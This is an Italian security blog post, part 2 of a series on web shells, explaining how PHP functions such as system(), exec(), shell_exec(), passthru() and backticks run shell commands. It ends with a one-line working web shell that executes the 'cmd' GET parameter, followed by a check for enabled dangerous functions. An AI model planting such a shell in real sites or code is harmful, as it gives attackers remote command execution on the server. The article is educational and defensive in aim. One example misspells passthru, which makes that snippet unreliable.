Diventa Autore per CoreTech | Scopri di più





Introduzione alle web shell - parte 2: 101 Uso di PHP

06/07/20 CoreTech Blog

Nella parte 1 di questa serie, abbiamo esaminato cos'è una shell Web e perché un utente malintenzionato avrebbe cercato di usarne una. Nella parte 2 di questa serie, vedremo alcuni esempi specifici di shell web sviluppate usando il linguaggio di programmazione PHP.

Esistono web shell per quasi tutti i linguaggi di programmazione web a cui puoi pensare. Abbiamo scelto di concentrarci su PHP perché è il linguaggio di programmazione più utilizzato sul web.

Le web shell PHP non fanno altro che utilizzare le funzioni PHP integrate per eseguire i comandi. Di seguito sono riportate alcune delle funzioni più comuni utilizzate per eseguire i comandi di shell in PHP.

Nota : ai fini di questo articolo, abbiamo modificato il nostro file hosts e indirizzato il dominio www.example.com a un server di prova.

sistema()

La system() funzione accetta il comando come parametro e genera il risultato.

L'esempio seguente su un computer Microsoft Windows eseguirà il dir comando per restituire un elenco di directory della directory in cui viene eseguito il file PHP.

 

<?php

// Return the listing of the directory where the file runs (Windows)

system("dir");

?>

--> Volume in drive C has no label.

Volume Serial Number is A08E-9C63

Directory of C:\webserver\www\demo

02/27/2020 10:21 PM <DIR> .

02/27/2020 10:21 PM <DIR> ..

02/27/2020 10:19 PM 22 shell.php

1 File(s) 22 bytes

2 Dir(s) 31,977,467,904 bytes free

 

L'esecuzione del ls comando su una macchina Linux ottiene un risultato simile.

 

<?php

// Return the listing of the directory where the file runs (Linux)

system("ls -la");

?>

--> total 12

drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:43 .

drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 ..

-rw-rw-r-- 1 secuser secuser 26 Feb 27 20:41 shell.php

 

Altri comandi hanno lo stesso effetto.

 

<?php

// Return the user the script is running under

system("whoami");

?>

--> www-data

 

exec ()

La exec() funzione accetta un comando come parametro ma non genera il risultato. Se viene specificato un secondo parametro facoltativo, il risultato verrà restituito come matrice. In caso contrario, verrà visualizzata solo l'ultima riga del risultato se viene eseguita l'eco.

 

<?php

// Executes but returns nothing

exec("ls -la");

?>

-->

 

L'uso echo con la exec() funzione stamperà solo l'ultima riga dell'output del comando.

 

<?php

// Executes, returns only last line of the output

echo exec("ls -la");

?> 

--> -rw-rw-r-- 1 secuser secuser 29 Feb 27 20:49 shell.php

 

Se viene specificato un secondo parametro, il risultato viene restituito in un array.

 

<?php

// Executes, returns the output in an array

exec("ls -la",$array);

print_r($array);

?>

--> Array(

[0] => total 12

[1] => drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:55 .

[2] => drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 ..

[3] => -rw-rw-r-- 1 secuser secuser 49 Feb 27 20:54 shell.php )

 

shell_exec ()

La shell_exec() funzione è simile exec(), tuttavia, genera l'intero risultato come una stringa.

 

<?php

// Executes, returns the entire output as a string

echo shell_exec("ls -la");

?>

-->

total 12

drwxrwxr-x 2 secuser secuser 4096 Feb 28 18:24 .

drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 ..

-rw-rw-r-- 1 secuser secuser 36 Feb 28 18:24 shell.php

 

passare attraverso()

La passthru() funzione esegue un comando e restituisce l'output in formato non elaborato.

 

<?php

// Executes, returns output in raw format

passsthru("ls -la");

?>

-->

total 12

drwxrwxr-x 2 secuser secuser 4096 Feb 28 18:23 .

drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 ..

-rw-rw-r-- 1 secuser secuser 29 Feb 28 18:23 shell.php

 

proc_open ()

La proc_open() funzione può essere difficile da capire (puoi trovare una descrizione dettagliata della funzione nei documenti PHP ). Usando proc_open(), possiamo creare un gestore (processo) che verrà utilizzato per la comunicazione tra il nostro script e il programma che vogliamo eseguire.

 

apici inversi

Sorprendentemente, non molti sviluppatori PHP ne sono consapevoli, ma PHP eseguirà il contenuto di backtick (`) come comando shell.

Nota: il carattere backtick (`) non deve essere confuso con il carattere di virgoletta singola (')

 

<?php

$output = `whoami`;

echo "<pre>$output</pre>";

?>

--> www-data

 

Sulla base di quanto sopra, la seguente è una shell web PHP nella sua forma più semplice.

Banner

 

<?php system($_GET['cmd']);?>

 

Utilizza la funzione system () per eseguire i comandi che vengono passati attraverso il parametro GET della richiesta HTTP 'cmd' .

 

 

Abbiamo stabilito che queste funzioni (e poche altre) possono essere molto pericolose. Ciò che è ancora più pericoloso è che tutti questi comandi PHP integrati sono abilitati di default quando PHP è installato e la maggior parte degli amministratori di sistema non li disabilita.

Se non si è sicuri che siano abilitati sul proprio sistema, di seguito verrà riportato un elenco delle funzioni pericolose abilitate.

 

<?php

print_r(preg_grep("/^(system|exec|shell_exec|passthru|proc_open|popen|curl_exec|curl_multi_exec|parse_ini_file|show_source)$/", get_defined_functions(TRUE)["internal"]));

?>

In un'installazione predefinita, possiamo vedere che tutte le funzioni sopra menzionate sono abilitate.

 

[669] => exec

[670] => system

[673] => passthru

[674] => shell_exec

[675] => proc_open

[786] => show_source

[807] => parse_ini_file

[843] => popen


Articoli su Acunetix

Trovare le vulnerabilità dei siti web prima degli HackerL'importanza della convalida delle correzioni: lezioni da GoogleSDLC agile e sicuro - Best practiceIn che misura le aziende gestiscono la sicurezza delle applicazioni Web?Cross-Origin Resource Sharing (CORS) e intestazione Access-Control-Allow-OriginCosa sono i reindirizzamenti aperti?DevSecOps: come arrivarci da DevOpsIl bigino su SQL Injection per sviluppatoriSfruttare SSTI in ThymeleafSicurezza nginx: come proteggere la configurazione del serverRafforzamento del sistema Web in 5 semplici passaggiCos'è la sicurezza del sito Web - Come proteggere il tuo sito Web dall'hackingRapporto sulle vulnerabilità delle applicazioni Web Acunetix 2020Perché l'elenco delle directory è pericoloso?Cosa sono gli hack di Google?Cosa è l'attacco BEASTWeb Shells in Action - Rilevazione e prevenzione - parte 5Web Shells in Action - parte 4Mantenere le Web Shells sotto copertura - parte 3Introduzione alle web shell - parte 2: 101 Uso di PHPIntroduzione alle web shell - parte 1Debunking 5 miti sulla postura della sicurezza informaticaIniezioni di NoSQL e come evitarleConfigurazione passo passo di Acunetix con JenkinsCosa sono i riferimenti a oggetti diretti non sicuriAnche il più forte cade: un'iniezione SQL in Sophos XG FirewallAcunetix rilascia Business Logic RecorderCome recuperare un sito Web compromessoCome difendersi dagli hacker Black Hat durante la pandemia COVID-19Che cos'è l'inclusione remota dei file (RFI)?Apache Security - 10 consigli per un'installazione sicuraUn nuovo sguardo sugli attacchi correlati al proxy inversoVulnerabilità delle password comuni e come evitarleTutto quello che devi sapere sugli attacchi Man-in-the-MiddleChe cosa sono le iniezioni HTMLRed Teaming – 5 consigli su come farlo in modo sicuroTesta le tue competenze XSS utilizzando siti vulnerabiliPerché hacker malintenzionati hanno messo gli occhi sugli ospedaliPratiche di codifica sicura – I tre principi chiaveLa maledizione delle vecchie librerie JavaMutation XSS nella ricerca GoogleIgnorare SOP utilizzando la cache del browserCome e perché evitare reindirizzamenti e inoltri non convalidati?Dirottamento di sessione e altri attacchi di sessioneCome abbiamo trovato un altro XSS in Google con AcunetixChe cos'è un buffer overflowChe cos'è l'overflow di IntegerChe cos'è HSTS e perché dovrei usarlo?Che cosa è OS Command InjectionVulnerabilità delle entità esterne XML in Internet ExplorerCoreTech assicura protezione dei siti Web con AcunetixCoreTech distributore Acunetix a fianco dei partner per la CyberSecurityCyberSecurity applicativa, nuova opportunità per voi!